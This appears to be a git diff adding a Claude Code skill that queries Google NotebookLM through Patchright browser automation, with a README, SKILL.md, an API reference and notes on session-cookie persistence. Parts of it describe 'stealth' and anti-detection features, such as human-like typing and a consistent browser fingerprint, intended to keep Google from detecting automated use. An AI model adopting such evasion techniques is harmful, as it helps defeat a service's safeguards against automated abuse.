+``` + +## Our Solution: Hybrid Approach + +We use a **two-phase authentication system**: + +### Phase 1: Setup (`auth_manager.py setup`) + +1. Launch persistent context with `user_data_dir` +2. User logs in manually +3. **Save state to TWO places:** + - Browser profile directory (automatic, for fingerprint + persistent cookies) + - `state.json` file (explicit save, for session cookies) + +```python +context = playwright.chromium.launch_persistent_context( + user_data_dir="browser_profile/", + channel="chrome" +) +# User logs in... +context.storage_state(path="state.json") # Save all cookies +``` + +### Phase 2: Runtime (`ask_question.py`) + +1. Launch persistent context with `user_data_dir` (loads fingerprint + persistent cookies) +2. **Manually inject cookies** from `state.json` (adds session cookies) + +```python +# Step 1: Launch with browser profile +context = playwright.chromium.launch_persistent_context( + user_data_dir="browser_profile/", + channel="chrome" +) + +# Step 2: Manually inject cookies from state.json +with open("state.json", 'r') as f: + state = json.load(f) + context.add_cookies(state['cookies']) # ← Workaround for session cookies! +``` + +## Benefits + +| Feature | Our Approach | Pure `user_data_dir` | Pure `storage_state` | +|---------|--------------|----------------------|----------------------| +| **Browser Fingerprint Consistency** | ✅ Same across restarts | ✅ Same | ❌ Changes each time | +| **Session Cookie Persistence** | ✅ Manual injection | ❌ Lost (bug) | ✅ Native support | +| **Persistent Cookie Persistence** | ✅ Automatic | ✅ Automatic | ✅ Native support | +| **Google Trust** | ✅ High (same browser) | ✅ High | ❌ Low (new browser) | +| **Cross-platform Reliability** | ✅ Chrome required | ⚠️ Chromium issues | ✅ Portable | +| **Cache Performance** | ✅ Keeps cache | ✅ Keeps cache | ❌ No cache | + +## File Structure + +``` +~/.claude/skills/notebooklm/data/ +├── auth_info.json # Metadata about authentication +├── browser_state/ +│ ├── state.json # Cookies + localStorage (for manual injection) +│ └── browser_profile/ # Chrome user profile (for fingerprint + cache) +│ ├── Default/ +│ │ ├── Cookies # Persistent cookies only (session cookies missing!) +│ │ ├── Local Storage/ +│ │ └── Cache/ +│ └── ... +``` + +## Why `state.json` is Critical + +Even though we use `user_data_dir`, we **still need `state.json`** because: + +1. **Session cookies** are not saved to the browser profile (Playwright bug) +2. **Manual injection** is the only reliable way to load session cookies +3. **Validation** - we can check if cookies are expired before launching + +## Code References + +**Setup:** `scripts/auth_manager.py:94-120` +- Lines 100-113: Launch persistent context with `channel="chrome"` +- Line 167: Save to `state.json` via `context.storage_state()` + +**Runtime:** `scripts/ask_question.py:77-118` +- Lines 86-99: Launch persistent context +- Lines 101-118: Manual cookie injection workaround + +**Validation:** `scripts/auth_manager.py:236-298` +- Lines 262-275: Launch persistent context +- Lines 277-287: Manual cookie injection for validation + +## Related Issues + +- [microsoft/playwright#36139](https://github.com/microsoft/playwright/issues/36139) - Session cookies not persisting +- [microsoft/playwright#14949](https://github.com/microsoft/playwright/issues/14949) - Storage state with persistent context +- [StackOverflow Question](https://stackoverflow.com/questions/79641481/) - Session cookie persistence issue + +## Future Improvements + +If Playwright adds support for `storage_state` parameter in Python's `launch_persistent_context()`, we can simplify to: + +```python +# Future (when Python API supports it): +context = playwright.chromium.launch_persistent_context( + user_data_dir="browser_profile/", + storage_state="state.json", # ← Would handle everything automatically! + channel="chrome" +) +``` + +Until then, our hybrid approach is the most reliable solution. diff --git a/skills/notebooklm/CHANGELOG.md b/skills/notebooklm/CHANGELOG.md new file mode 100755 index 00000000..a60278e6 --- /dev/null +++ b/skills/notebooklm/CHANGELOG.md @@ -0,0 +1,44 @@ +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +## [1.3.0] - 2025-11-21 + +### Added +- **Modular Architecture** - Refactored codebase for better maintainability + - New `config.py` - Centralized configuration (paths, selectors, timeouts) + - New `browser_utils.py` - BrowserFactory and StealthUtils classes + - Cleaner separation of concerns across all scripts + +### Changed +- **Timeout increased to 120 seconds** - Long queries no longer timeout prematurely + - `ask_question.py`: 30s → 120s + - `browser_session.py`: 30s → 120s + - Resolves Issue #4 + +### Fixed +- **Thinking Message Detection** - Fixed incomplete answers showing placeholder text + - Now waits for `div.thinking-message` element to disappear before reading answer + - Answers like "Reviewing the content..." or "Looking for answers..." no longer returned prematurely + - Works reliably across all languages and NotebookLM UI changes + +- **Correct CSS Selectors** - Updated to match current NotebookLM UI + - Changed from `.response-content, .message-content` to `.to-user-container .message-text-content` + - Consistent selectors across all scripts + +- **Stability Detection** - Improved answer completeness check + - Now requires 3 consecutive stable polls instead of 1 second wait + - Prevents truncated responses during streaming + +## [1.2.0] - 2025-10-28 + +### Added +- Initial public release +- NotebookLM integration via browser automation +- Session-based conversations with Gemini 2.5 +- Notebook library management +- Knowledge base preparation tools +- Google authentication with persistent sessions diff --git a/skills/notebooklm/LICENSE b/skills/notebooklm/LICENSE new file mode 100755 index 00000000..5b2d7518 --- /dev/null +++ b/skills/notebooklm/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Please Prompto! + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/notebooklm/README.md b/skills/notebooklm/README.md new file mode 100755 index 00000000..0a46e9ca --- /dev/null +++ b/skills/notebooklm/README.md @@ -0,0 +1,412 @@ +<div align="center"> + +# NotebookLM Claude Code Skill + +**Let [Claude Code](https://github.com/anthropics/claude-code) chat directly with NotebookLM for source-grounded answers based exclusively on your uploaded documents** + +[![Python](https://img.shields.io/badge/Python-3.8+-blue.svg)](https://www.python.org/) +[![Claude Code Skill](https://img.shields.io/badge/Claude%20Code-Skill-purple.svg)](https://www.anthropic.com/news/skills) +[![Based on](https://img.shields.io/badge/Based%20on-NotebookLM%20MCP-green.svg)](https://github.com/PleasePrompto/notebooklm-mcp) +[![GitHub](https://img.shields.io/github/stars/PleasePrompto/notebooklm-skill?style=social)](https://github.com/PleasePrompto/notebooklm-skill) + +> Use this skill to query your Google NotebookLM notebooks directly from Claude Code for source-grounded, citation-backed answers from Gemini. Browser automation, library management, persistent auth. Drastically reduced hallucinations - answers only from your uploaded documents. + +[Installation](#installation) • [Quick Start](#quick-start) • [Why NotebookLM](#why-notebooklm-not-local-rag) • [How It Works](#how-it-works) • [MCP Alternative](https://github.com/PleasePrompto/notebooklm-mcp) + +</div> + +--- + +## ⚠️ Important: Local Claude Code Only + +**This skill works ONLY with local [Claude Code](https://github.com/anthropics/claude-code) installations, NOT in the web UI.** + +The web UI runs skills in a sandbox without network access, which this skill requires for browser automation. You must use [Claude Code](https://github.com/anthropics/claude-code) locally on your machine. + +--- + +## The Problem + +When you tell [Claude Code](https://github.com/anthropics/claude-code) to "search through my local documentation", here's what happens: +- **Massive token consumption**: Searching through documentation means reading multiple files repeatedly +- **Inaccurate retrieval**: Searches for keywords, misses context and connections between docs +- **Hallucinations**: When it can't find something, it invents plausible-sounding APIs +- **Manual copy-paste**: Switching between NotebookLM browser and your editor constantly + +## The Solution + +This Claude Code Skill lets [Claude Code](https://github.com/anthropics/claude-code) chat directly with [**NotebookLM**](https://notebooklm.google/) — Google's **source-grounded knowledge base** powered by Gemini 2.5 that provides intelligent, synthesized answers exclusively from your uploaded documents. + +``` +Your Task → Claude asks NotebookLM → Gemini synthesizes answer → Claude writes correct code +``` + +**No more copy-paste dance**: Claude asks questions directly and gets answers straight back in the CLI. It builds deep understanding through automatic follow-ups, getting specific implementation details, edge cases, and best practices. + +--- + +## Why NotebookLM, Not Local RAG? + +| Approach | Token Cost | Setup Time | Hallucinations | Answer Quality | +|----------|------------|------------|----------------|----------------| +| **Feed docs to Claude** | 🔴 Very high (multiple file reads) | Instant | Yes - fills gaps | Variable retrieval | +| **Web search** | 🟡 Medium | Instant | High - unreliable sources | Hit or miss | +| **Local RAG** | 🟡 Medium-High | Hours (embeddings, chunking) | Medium - retrieval gaps | Depends on setup | +| **NotebookLM Skill** | 🟢 Minimal | 5 minutes | **Minimal** - source-grounded only | Expert synthesis | + +### What Makes NotebookLM Superior? + +1. **Pre-processed by Gemini**: Upload docs once, get instant expert knowledge +2. **Natural language Q&A**: Not just retrieval — actual understanding and synthesis +3. **Multi-source correlation**: Connects information across 50+ documents +4. **Citation-backed**: Every answer includes source references +5. **No infrastructure**: No vector DBs, embeddings, or chunking strategies needed + +--- + +## Installation + +### The simplest installation ever: + +```bash +# 1. Create skills directory (if it doesn't exist) +mkdir -p ~/.claude/skills + +# 2. Clone this repository +cd ~/.claude/skills +git clone https://github.com/PleasePrompto/notebooklm-skill notebooklm + +# 3. That's it! Open Claude Code and say: +"What are my skills?" +``` + +When you first use the skill, it automatically: +- Creates an isolated Python environment (`.venv`) +- Installs all dependencies including **Google Chrome** +- Sets up browser automation with Chrome (not Chromium) for maximum reliability +- Everything stays contained in the skill folder + +**Note:** The setup uses real Chrome instead of Chromium for cross-platform reliability, consistent browser fingerprinting, and better anti-detection with Google services + +--- + +## Quick Start + +### 1. Check your skills + +Say in Claude Code: +``` +"What skills do I have?" +``` + +Claude will list your available skills including NotebookLM. + +### 2. Authenticate with Google (one-time) + +``` +"Set up NotebookLM authentication" +``` +*A Chrome window opens → log in with your Google account* + +### 3. Create your knowledge base + +Go to [notebooklm.google.com](https://notebooklm.google.com) → Create notebook → Upload your docs: +- 📄 PDFs, Google Docs, markdown files +- 🔗 Websites, GitHub repos +- 🎥 YouTube videos +- 📚 Multiple sources per notebook + +Share: **⚙️ Share → Anyone with link → Copy** + +### 4. Add to your library + +**Option A: Let Claude figure it out (Smart Add)** +``` +"Query this notebook about its content and add it to my library: [your-link]" +``` +Claude will automatically query the notebook to discover its content, then add it with appropriate metadata. + +**Option B: Manual add** +``` +"Add this NotebookLM to my library: [your-link]" +``` +Claude will ask for a name and topics, then save it for future use. + +### 5. Start researching + +``` +"What does my React docs say about hooks?" +``` + +Claude automatically selects the right notebook and gets the answer directly from NotebookLM. + +--- + +## How It Works + +This is a **Claude Code Skill** - a local folder containing instructions and scripts that Claude Code can use when needed. Unlike the [MCP server version](https://github.com/PleasePrompto/notebooklm-mcp), this runs directly in Claude Code without needing a separate server. + +### Key Differences from MCP Server + +| Feature | This Skill | MCP Server | +|---------|------------|------------| +| **Protocol** | Claude Skills | Model Context Protocol | +| **Installation** | Clone to `~/.claude/skills` | `claude mcp add ...` | +| **Sessions** | Fresh browser each question | Persistent chat sessions | +| **Compatibility** | Claude Code only (local) | Claude Code, Codex, Cursor, etc. | +| **Language** | Python | TypeScript | +| **Distribution** | Git clone | npm package | + +### Architecture + +``` +~/.claude/skills/notebooklm/ +├── SKILL.md # Instructions for Claude +├── scripts/ # Python automation scripts +│ ├── ask_question.py # Query NotebookLM +│ ├── notebook_manager.py # Library management +│ └── auth_manager.py # Google authentication +├── .venv/ # Isolated Python environment (auto-created) +└── data/ # Local notebook library +``` + +When you mention NotebookLM or send a notebook URL, Claude: +1. Loads the skill instructions +2. Runs the appropriate Python script +3. Opens a browser, asks your question +4. Returns the answer directly to you +5. Uses that knowledge to help with your task + +--- + +## Core Features + +### **Source-Grounded Responses** +NotebookLM significantly reduces hallucinations by answering exclusively from your uploaded documents. If information isn't available, it indicates uncertainty rather than inventing content. + +### **Direct Integration** +No copy-paste between browser and editor. Claude asks and receives answers programmatically. + +### **Smart Library Management** +Save NotebookLM links with tags and descriptions. Claude auto-selects the right notebook for your task. + +### **Automatic Authentication** +One-time Google login, then authentication persists across sessions. + +### **Self-Contained** +Everything runs in the skill folder with an isolated Python environment. No global installations. + +### **Human-Like Automation** +Uses realistic typing speeds and interaction patterns to avoid detection. + +--- + +## Common Commands + +| What you say | What happens | +|--------------|--------------| +| *"Set up NotebookLM authentication"* | Opens Chrome for Google login | +| *"Add [link] to my NotebookLM library"* | Saves notebook with metadata | +| *"Show my NotebookLM notebooks"* | Lists all saved notebooks | +| *"Ask my API docs about [topic]"* | Queries the relevant notebook | +| *"Use the React notebook"* | Sets active notebook | +| *"Clear NotebookLM data"* | Fresh start (keeps library) | + +--- + +## Real-World Examples + +### Example 1: Workshop Manual Query + +**User asks**: "Check my Suzuki GSR 600 workshop manual for brake fluid type, engine oil specs, and rear axle torque." + +**Claude automatically**: +- Authenticates with NotebookLM +- Asks comprehensive questions about each specification +- Follows up when prompted "Is that ALL you need to know?" +- Provides accurate specifications: DOT 4 brake fluid, SAE 10W-40 oil, 100 N·m rear axle torque + +![NotebookLM Chat Example](images/example_notebookchat.png) + +### Example 2: Building Without Hallucinations + +**You**: "I need to build an n8n workflow for Gmail spam filtering. Use my n8n notebook." + +**Claude's internal process:** +``` +→ Loads NotebookLM skill +→ Activates n8n notebook +→ Asks comprehensive questions with follow-ups +→ Synthesizes complete answer from multiple queries +``` + +**Result**: Working workflow on first try, no debugging hallucinated APIs. + +--- + +## Technical Details + +### Core Technology +- **Patchright**: Browser automation library (Playwright-based) +- **Python**: Implementation language for this skill +- **Stealth techniques**: Human-like typing and interaction patterns + +Note: The MCP server uses the same Patchright library but via TypeScript/npm ecosystem. + +### Dependencies +- **patchright==1.55.2**: Browser automation +- **python-dotenv==1.0.0**: Environment configuration +- Automatically installed in `.venv` on first use + +### Data Storage + +All data is stored locally within the skill directory: + +``` +~/.claude/skills/notebooklm/data/ +├── library.json - Your notebook library with metadata +├── auth_info.json - Authentication status info +└── browser_state/ - Browser cookies and session data +``` + +**Important Security Note:** +- The `data/` directory contains sensitive authentication data and personal notebooks +- It's automatically excluded from git via `.gitignore` +- NEVER manually commit or share the contents of the `data/` directory + +### Session Model + +Unlike the MCP server, this skill uses a **stateless model**: +- Each question opens a fresh browser +- Asks the question, gets the answer +- Adds a follow-up prompt to encourage Claude to ask more questions +- Closes the browser immediately + +This means: +- No persistent chat context +- Each question is independent +- But your notebook library persists +- **Follow-up mechanism**: Each answer includes "Is that ALL you need to know?" to prompt Claude to ask comprehensive follow-ups + +For multi-step research, Claude automatically asks follow-up questions when needed. + +--- + +## Limitations + +### Skill-Specific +- **Local Claude Code only** - Does not work in web UI (sandbox restrictions) +- **No session persistence** - Each question is independent +- **No follow-up context** - Can't reference "the previous answer" + +### NotebookLM +- **Rate limits** - Free tier has daily query limits +- **Manual upload** - You must upload docs to NotebookLM first +- **Share requirement** - Notebooks must be shared publicly + +--- + +## FAQ + +**Why doesn't this work in the Claude web UI?** +The web UI runs skills in a sandbox without network access. Browser automation requires network access to reach NotebookLM. + +**How is this different from the MCP server?** +This is a simpler, Python-based implementation that runs directly as a Claude Skill. The MCP server is more feature-rich with persistent sessions and works with multiple tools (Codex, Cursor, etc.). + +**Can I use both this skill and the MCP server?** +Yes! They serve different purposes. Use the skill for quick Claude Code integration, use the MCP server for persistent sessions and multi-tool support. + +**What if Chrome crashes?** +Run: `"Clear NotebookLM browser data"` and try again. + +**Is my Google account secure?** +Chrome runs locally on your machine. Your credentials never leave your computer. Use a dedicated Google account if you're concerned. + +--- + +## Troubleshooting + +### Skill not found +```bash +# Make sure it's in the right location +ls ~/.claude/skills/notebooklm/ +# Should show: SKILL.md, scripts/, etc. +``` + +### Authentication issues +Say: `"Reset NotebookLM authentication"` + +### Browser crashes +Say: `"Clear NotebookLM browser data"` + +### Dependencies issues +```bash +# Manual reinstall if needed +cd ~/.claude/skills/notebooklm +rm -rf .venv +python -m venv .venv +source .venv/bin/activate # or .venv\Scripts\activate on Windows +pip install -r requirements.txt +``` + +--- + +## Disclaimer + +This tool automates browser interactions with NotebookLM to make your workflow more efficient. However, a few friendly reminders: + +**About browser automation:** +While I've built in humanization features (realistic typing speeds, natural delays, mouse movements) to make the automation behave more naturally, I can't guarantee Google won't detect or flag automated usage. I recommend using a dedicated Google account for automation rather than your primary account—think of it like web scraping: probably fine, but better safe than sorry! + +**About CLI tools and AI agents:** +CLI tools like Claude Code, Codex, and similar AI-powered assistants are incredibly powerful, but they can make mistakes. Please use them with care and awareness: +- Always review changes before committing or deploying +- Test in safe environments first +- Keep backups of important work +- Remember: AI agents are assistants, not infallible oracles + +I built this tool for myself because I was tired of the copy-paste dance between NotebookLM and my editor. I'm sharing it in the hope it helps others too, but I can't take responsibility for any issues, data loss, or account problems that might occur. Use at your own discretion and judgment. + +That said, if you run into problems or have questions, feel free to open an issue on GitHub. I'm happy to help troubleshoot! + +--- + +## Credits + +This skill is inspired by my [**NotebookLM MCP Server**](https://github.com/PleasePrompto/notebooklm-mcp) and provides an alternative implementation as a Claude Code Skill: +- Both use Patchright for browser automation (TypeScript for MCP, Python for Skill) +- Skill version runs directly in Claude Code without MCP protocol +- Stateless design optimized for skill architecture + +If you need: +- **Persistent sessions** → Use the [MCP Server](https://github.com/PleasePrompto/notebooklm-mcp) +- **Multiple tool support** (Codex, Cursor) → Use the [MCP Server](https://github.com/PleasePrompto/notebooklm-mcp) +- **Quick Claude Code integration** → Use this skill + +--- + +## The Bottom Line + +**Without this skill**: NotebookLM in browser → Copy answer → Paste in Claude → Copy next question → Back to browser... + +**With this skill**: Claude researches directly → Gets answers instantly → Writes correct code + +Stop the copy-paste dance. Start getting accurate, grounded answers directly in Claude Code. + +```bash +# Get started in 30 seconds +cd ~/.claude/skills +git clone https://github.com/PleasePrompto/notebooklm-skill notebooklm +# Open Claude Code: "What are my skills?" +``` + +--- + +<div align="center"> + +Built as a Claude Code Skill adaptation of my [NotebookLM MCP Server](https://github.com/PleasePrompto/notebooklm-mcp) + +For source-grounded, document-based research directly in Claude Code + +</div> diff --git a/skills/notebooklm/SKILL.md b/skills/notebooklm/SKILL.md new file mode 100755 index 00000000..2be7e161 --- /dev/null +++ b/skills/notebooklm/SKILL.md @@ -0,0 +1,269 @@ +--- +name: notebooklm +description: Use this skill to query your Google NotebookLM notebooks directly from Claude Code for source-grounded, citation-backed answers from Gemini. Browser automation, library management, persistent auth. Drastically reduced hallucinations through document-only responses. +--- + +# NotebookLM Research Assistant Skill + +Interact with Google NotebookLM to query documentation with Gemini's source-grounded answers. Each question opens a fresh browser session, retrieves the answer exclusively from your uploaded documents, and closes. + +## When to Use This Skill + +Trigger when user: +- Mentions NotebookLM explicitly +- Shares NotebookLM URL (`https://notebooklm.google.com/notebook/...`) +- Asks to query their notebooks/documentation +- Wants to add documentation to NotebookLM library +- Uses phrases like "ask my NotebookLM", "check my docs", "query my notebook" + +## ⚠️ CRITICAL: Add Command - Smart Discovery + +When user wants to add a notebook without providing details: + +**SMART ADD (Recommended)**: Query the notebook first to discover its content: +```bash +# Step 1: Query the notebook about its content +python scripts/run.py ask_question.py --question "What is the content of this notebook? What topics are covered? Provide a complete overview briefly and concisely" --notebook-url "[URL]" + +# Step 2: Use the discovered information to add it +python scripts/run.py notebook_manager.py add --url "[URL]" --name "[Based on content]" --description "[Based on content]" --topics "[Based on content]" +``` + +**MANUAL ADD**: If user provides all details: +- `--url` - The NotebookLM URL +- `--name` - A descriptive name +- `--description` - What the notebook contains (REQUIRED!) +- `--topics` - Comma-separated topics (REQUIRED!) + +NEVER guess or use generic descriptions! If details missing, use Smart Add to discover them. + +## Critical: Always Use run.py Wrapper + +**NEVER call scripts directly. ALWAYS use `python scripts/run.py [script]`:** + +```bash +# ✅ CORRECT - Always use run.py: +python scripts/run.py auth_manager.py status +python scripts/run.py notebook_manager.py list +python scripts/run.py ask_question.py --question "..." + +# ❌ WRONG - Never call directly: +python scripts/auth_manager.py status # Fails without venv! +``` + +The `run.py` wrapper automatically: +1. Creates `.venv` if needed +2. Installs all dependencies +3. Activates environment +4. Executes script properly + +## Core Workflow + +### Step 1: Check Authentication Status +```bash +python scripts/run.py auth_manager.py status +``` + +If not authenticated, proceed to setup. + +### Step 2: Authenticate (One-Time Setup) +```bash +# Browser MUST be visible for manual Google login +python scripts/run.py auth_manager.py setup +``` + +**Important:** +- Browser is VISIBLE for authentication +- Browser window opens automatically +- User must manually log in to Google +- Tell user: "A browser window will open for Google login" + +### Step 3: Manage Notebook Library + +```bash +# List all notebooks +python scripts/run.py notebook_manager.py list + +# BEFORE ADDING: Ask user for metadata if unknown! +# "What does this notebook contain?" +# "What topics should I tag it with?" + +# Add notebook to library (ALL parameters are REQUIRED!) +python scripts/run.py notebook_manager.py add \ + --url "https://notebooklm.google.com/notebook/..." \ + --name "Descriptive Name" \ + --description "What this notebook contains" \ # REQUIRED - ASK USER IF UNKNOWN! + --topics "topic1,topic2,topic3" # REQUIRED - ASK USER IF UNKNOWN! + +# Search notebooks by topic +python scripts/run.py notebook_manager.py search --query "keyword" + +# Set active notebook +python scripts/run.py notebook_manager.py activate --id notebook-id + +# Remove notebook +python scripts/run.py notebook_manager.py remove --id notebook-id +``` + +### Quick Workflow +1. Check library: `python scripts/run.py notebook_manager.py list` +2. Ask question: `python scripts/run.py ask_question.py --question "..." --notebook-id ID` + +### Step 4: Ask Questions + +```bash +# Basic query (uses active notebook if set) +python scripts/run.py ask_question.py --question "Your question here" + +# Query specific notebook +python scripts/run.py ask_question.py --question "..." --notebook-id notebook-id + +# Query with notebook URL directly +python scripts/run.py ask_question.py --question "..." --notebook-url "https://..." + +# Show browser for debugging +python scripts/run.py ask_question.py --question "..." --show-browser +``` + +## Follow-Up Mechanism (CRITICAL) + +Every NotebookLM answer ends with: **"EXTREMELY IMPORTANT: Is that ALL you need to know?"** + +**Required Claude Behavior:** +1. **STOP** - Do not immediately respond to user +2. **ANALYZE** - Compare answer to user's original request +3. **IDENTIFY GAPS** - Determine if more information needed +4. **ASK FOLLOW-UP** - If gaps exist, immediately ask: + ```bash + python scripts/run.py ask_question.py --question "Follow-up with context..." + ``` +5. **REPEAT** - Continue until information is complete +6. **SYNTHESIZE** - Combine all answers before responding to user + +## Script Reference + +### Authentication Management (`auth_manager.py`) +```bash +python scripts/run.py auth_manager.py setup # Initial setup (browser visible) +python scripts/run.py auth_manager.py status # Check authentication +python scripts/run.py auth_manager.py reauth # Re-authenticate (browser visible) +python scripts/run.py auth_manager.py clear # Clear authentication +``` + +### Notebook Management (`notebook_manager.py`) +```bash +python scripts/run.py notebook_manager.py add --url URL --name NAME --description DESC --topics TOPICS +python scripts/run.py notebook_manager.py list +python scripts/run.py notebook_manager.py search --query QUERY +python scripts/run.py notebook_manager.py activate --id ID +python scripts/run.py notebook_manager.py remove --id ID +python scripts/run.py notebook_manager.py stats +``` + +### Question Interface (`ask_question.py`) +```bash +python scripts/run.py ask_question.py --question "..." [--notebook-id ID] [--notebook-url URL] [--show-browser] +``` + +### Data Cleanup (`cleanup_manager.py`) +```bash +python scripts/run.py cleanup_manager.py # Preview cleanup +python scripts/run.py cleanup_manager.py --confirm # Execute cleanup +python scripts/run.py cleanup_manager.py --preserve-library # Keep notebooks +``` + +## Environment Management + +The virtual environment is automatically managed: +- First run creates `.venv` automatically +- Dependencies install automatically +- Chromium browser installs automatically +- Everything isolated in skill directory + +Manual setup (only if automatic fails): +```bash +python -m venv .venv +source .venv/bin/activate # Linux/Mac +pip install -r requirements.txt +python -m patchright install chromium +``` + +## Data Storage + +All data stored in `~/.claude/skills/notebooklm/data/`: +- `library.json` - Notebook metadata +- `auth_info.json` - Authentication status +- `browser_state/` - Browser cookies and session + +**Security:** Protected by `.gitignore`, never commit to git. + +## Configuration + +Optional `.env` file in skill directory: +```env +HEADLESS=false # Browser visibility +SHOW_BROWSER=false # Default browser display +STEALTH_ENABLED=true # Human-like behavior +TYPING_WPM_MIN=160 # Typing speed +TYPING_WPM_MAX=240 +DEFAULT_NOTEBOOK_ID= # Default notebook +``` + +## Decision Flow + +``` +User mentions NotebookLM + ↓ +Check auth → python scripts/run.py auth_manager.py status + ↓ +If not authenticated → python scripts/run.py auth_manager.py setup + ↓ +Check/Add notebook → python scripts/run.py notebook_manager.py list/add (with --description) + ↓ +Activate notebook → python scripts/run.py notebook_manager.py activate --id ID + ↓ +Ask question → python scripts/run.py ask_question.py --question "..." + ↓ +See "Is that ALL you need?" → Ask follow-ups until complete + ↓ +Synthesize and respond to user +``` + +## Troubleshooting + +| Problem | Solution | +|---------|----------| +| ModuleNotFoundError | Use `run.py` wrapper | +| Authentication fails | Browser must be visible for setup! --show-browser | +| Rate limit (50/day) | Wait or switch Google account | +| Browser crashes | `python scripts/run.py cleanup_manager.py --preserve-library` | +| Notebook not found | Check with `notebook_manager.py list` | + +## Best Practices + +1. **Always use run.py** - Handles environment automatically +2. **Check auth first** - Before any operations +3. **Follow-up questions** - Don't stop at first answer +4. **Browser visible for auth** - Required for manual login +5. **Include context** - Each question is independent +6. **Synthesize answers** - Combine multiple responses + +## Limitations + +- No session persistence (each question = new browser) +- Rate limits on free Google accounts (50 queries/day) +- Manual upload required (user must add docs to NotebookLM) +- Browser overhead (few seconds per question) + +## Resources (Skill Structure) + +**Important directories and files:** + +- `scripts/` - All automation scripts (ask_question.py, notebook_manager.py, etc.) +- `data/` - Local storage for authentication and notebook library +- `references/` - Extended documentation: + - `api_reference.md` - Detailed API documentation for all scripts + - `troubleshooting.md` - Common issues and solutions + - `usage_patterns.md` - Best practices and workflow examples +- `.venv/` - Isolated Python environment (auto-created on first run) +- `.gitignore` - Protects sensitive data from being committed diff --git a/skills/notebooklm/images/example_notebookchat.png b/skills/notebooklm/images/example_notebookchat.png new file mode 100755 index 00000000..5a7316fd Binary files /dev/null and b/skills/notebooklm/images/example_notebookchat.png differ diff --git a/skills/notebooklm/references/api_reference.md b/skills/notebooklm/references/api_reference.md new file mode 100755 index 00000000..a0ce65ee --- /dev/null +++ b/skills/notebooklm/references/api_reference.md @@ -0,0 +1,309 @@ +# NotebookLM Skill API Reference + +Complete API documentation for all NotebookLM skill modules. + +## Important: Always Use run.py Wrapper + +**All commands must use the `run.py` wrapper to ensure proper environment:** + +```bash +# ✅ CORRECT: +python scripts/run.py [script_name].py [arguments] + +# ❌ WRONG: +python scripts/[script_name].py [arguments] # Will fail without venv! +``` + +## Core Scripts + +### ask_question.py +Query NotebookLM with automated browser interaction. + +```bash +# Basic usage +python scripts/run.py ask_question.py --question "Your question" + +# With specific notebook +python scripts/run.py ask_question.py --question "..." --notebook-id notebook-id + +# With direct URL +python scripts/run.py ask_question.py --question "..." --notebook-url "https://..." + +# Show browser (debugging) +python scripts/run.py ask_question.py --question "..." --show-browser +``` + +**Parameters:** +- `--question` (required): Question to ask +- `--notebook-id`: Use notebook from library +- `--notebook-url`: Use URL directly +- `--show-browser`: Make browser visible + +**Returns:** Answer text with follow-up prompt appended + +### notebook_manager.py +Manage notebook library with CRUD operations. + +```bash +# Smart Add (discover content first) +python scripts/run.py ask_question.py --question "What is the content of this notebook? What topics are covered? Provide a complete overview briefly and concisely" --notebook-url "[URL]" +# Then add with discovered info +python scripts/run.py notebook_manager.py add \ + --url "https://notebooklm.google.com/notebook/..." \ + --name "Name" \ + --description "Description" \ + --topics "topic1,topic2" + +# Direct add (when you know the content) +python scripts/run.py notebook_manager.py add \ + --url "https://notebooklm.google.com/notebook/..." \ + --name "Name" \ + --description "What it contains" \ + --topics "topic1,topic2" + +# List notebooks +python scripts/run.py notebook_manager.py list + +# Search notebooks +python scripts/run.py notebook_manager.py search --query "keyword" + +# Activate notebook +python scripts/run.py notebook_manager.py activate --id notebook-id + +# Remove notebook +python scripts/run.py notebook_manager.py remove --id notebook-id + +# Show statistics +python scripts/run.py notebook_manager.py stats +``` + +**Commands:** +- `add`: Add notebook (requires --url, --name, --topics) +- `list`: Show all notebooks +- `search`: Find notebooks by keyword +- `activate`: Set default notebook +- `remove`: Delete from library +- `stats`: Display library statistics + +### auth_manager.py +Handle Google authentication and browser state. + +```bash +# Setup (browser visible for login) +python scripts/run.py auth_manager.py setup + +# Check status +python scripts/run.py auth_manager.py status + +# Re-authenticate +python scripts/run.py auth_manager.py reauth + +# Clear authentication +python scripts/run.py auth_manager.py clear +``` + +**Commands:** +- `setup`: Initial authentication (browser MUST be visible) +- `status`: Check if authenticated +- `reauth`: Clear and re-setup +- `clear`: Remove all auth data + +### cleanup_manager.py +Clean skill data with preservation options. + +```bash +# Preview cleanup +python scripts/run.py cleanup_manager.py + +# Execute cleanup +python scripts/run.py cleanup_manager.py --confirm + +# Keep library +python scripts/run.py cleanup_manager.py --confirm --preserve-library + +# Force without prompt +python scripts/run.py cleanup_manager.py --confirm --force +``` + +**Options:** +- `--confirm`: Actually perform cleanup +- `--preserve-library`: Keep notebook library +- `--force`: Skip confirmation prompt + +### run.py +Script wrapper that handles environment setup. + +```bash +# Usage +python scripts/run.py [script_name].py [arguments] + +# Examples +python scripts/run.py auth_manager.py status +python scripts/run.py ask_question.py --question "..." +``` + +**Automatic actions:** +1. Creates `.venv` if missing +2. Installs dependencies +3. Activates environment +4. Executes target script + +## Python API Usage + +### Using subprocess with run.py + +```python +import subprocess +import json + +# Always use run.py wrapper +result = subprocess.run([ + "python", "scripts/run.py", "ask_question.py", + "--question", "Your question", + "--notebook-id", "notebook-id" +], capture_output=True, text=True) + +answer = result.stdout +``` + +### Direct imports (after venv exists) + +```python +# Only works if venv is already created and activated +from notebook_manager import NotebookLibrary +from auth_manager import AuthManager + +library = NotebookLibrary() 